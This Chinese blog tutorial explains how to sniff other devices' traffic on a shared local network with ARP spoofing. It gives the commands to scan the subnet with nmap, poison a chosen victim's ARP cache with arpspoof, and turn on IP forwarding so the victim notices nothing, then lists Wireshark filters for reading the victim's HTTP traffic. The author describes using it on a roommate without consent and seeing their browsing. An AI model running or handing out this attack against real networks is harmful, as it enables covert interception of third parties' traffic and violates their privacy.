使用arp欺骗进行同一局域网内的抓包

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/nzyalj/article/details/80227158

环境

  • 操作系统: MacOS 10.13.4
  • 包管理工具:MacPorts 2.4.4
  • arp欺骗工具:arpspoof 2.4
  • 抓取局域网内的IP地址的工具:nmap 7.70
  • 抓包工具:Wireshark 2.4.3

前言

本来是想了解如何抢占带宽的,搜到了这么一篇文章:如何在局域网内抢带宽,里面提到了ARP欺骗,在网络管理课上貌似提到过ARP协议,乘机学习一下

ARP(Address Resolution Protocol,地址解析协议)是获取物理地址的一个TCP/IP协议。发送方用目标IP地址去换取了接收方的MAC地址,之后MAC地址存放到本地的缓存中(在一定的生存期时间内)。

而ARP欺骗就是:机器A的MAC地址告诉目标机B(目标机B在任意时候都可以接收ARP请求的应答),让目标机B 以为本机才是网关,这样B接收后就会更新本地缓存,以后所有本该走到网关去的包都会从机器A走,这样机器A就可以获取B的数据包了

假设C为网关,A为欺骗者,B为被欺骗者,之前是 B->C,而欺骗之后,B->A->C,如果A不进行数据转发的话,那么B就像是断网一样


环境搭建

先安装MacPorts,去官网下载即可,注意看好对应的MacOS版本,

安装完毕之后在命令行上输入 port 进行测试

port

如果说找不到指令,则在命令行或者bash_profile或bashrc中输入以下内容将其加入到系统路径中来

export PATH=/opt/local/bin:/opt/local/sbin:$PATH

之后安装arpspoofnmap

sudo port selfupdate
sudo port install nmap
# 以下两条命令二选一,arpspoof都包含在内
sudo port install dsniff-devel
sudo port install dsniff

最后如果出现提示叫你执行以下类似命令的话请无视

port select --set python python27

执行命令进行测试

nmap -v
arpspoof

Wireshark直接去官网下载就行了

扫描二维码关注公众号,回复: 2959150 查看本文章

基本信息获取

需要获取以下数据

  • 本机的IP
  • 网关的IP
  • 目标机IP

执行

sudo nmap -sS 192.168.1.0/24

等一会儿会得到类型下面结果

Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-07 14:49 CST
Nmap scan report for 192.168.1.1
Host is up (0.0038s latency).
Not shown: 998 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
1900/tcp open  upnp
MAC Address: BC:46:99:53:17:F6 (Tp-link Technologies)

Nmap scan report for 192.168.1.100
Host is up (0.026s latency).
All 1000 scanned ports on 192.168.1.100 are closed
MAC Address: 38:A4:ED:BA:DF:C8 (Xiaomi Communications)

.....

Nmap scan report for 192.168.1.101
Host is up (0.000028s latency).
Not shown: 848 closed ports, 151 filtered ports
PORT     STATE SERVICE
8090/tcp open  opsmessaging

Nmap done: 256 IP addresses (9 hosts up) scanned in 125.68 seconds

第一个192.168.1.1是网关地址,最后一个192.168.1.101是我本机的IP,而从第二个开始就是接入本局域网的其它机器的IP,就用第一个吧


攻击开始

arpspoof -i en0 -t 192.168.1.100 192.168.1.1
# 开启ip转发,否则的话对方机器会出现断网的情况,关闭的话把1改为0
sudo sysctl -w net.inet.ip.forwarding=1

开始Wireshark开始抓包,把filter设置为 ip.addr == 192.168.1.100

如果只想抓http的话就这样写 ip.addr == 192.168.1.100 && http

当时比较震惊的是抓到了室友看黄图的链接…

这里写图片描述


备注

对我的华为荣耀7进行arp欺骗时失败了,貌似是它有防护措施,多试了几次发现只有在其刚接入局域网的时候才能欺骗成功,但是想再次进行欺骗也没成功,对别的IP进行欺骗时也是失败次数多于成功的

目前https越来越流行,这意味着即使你抓到包了也不知道数据是什么,它在tcp之上添加了一层ssl,搜了一下破解的方法也只是定向的,泛用型不好,不过这样更安全也不错


有用的链接

猜你喜欢

转载自blog.csdn.net/nzyalj/article/details/80227158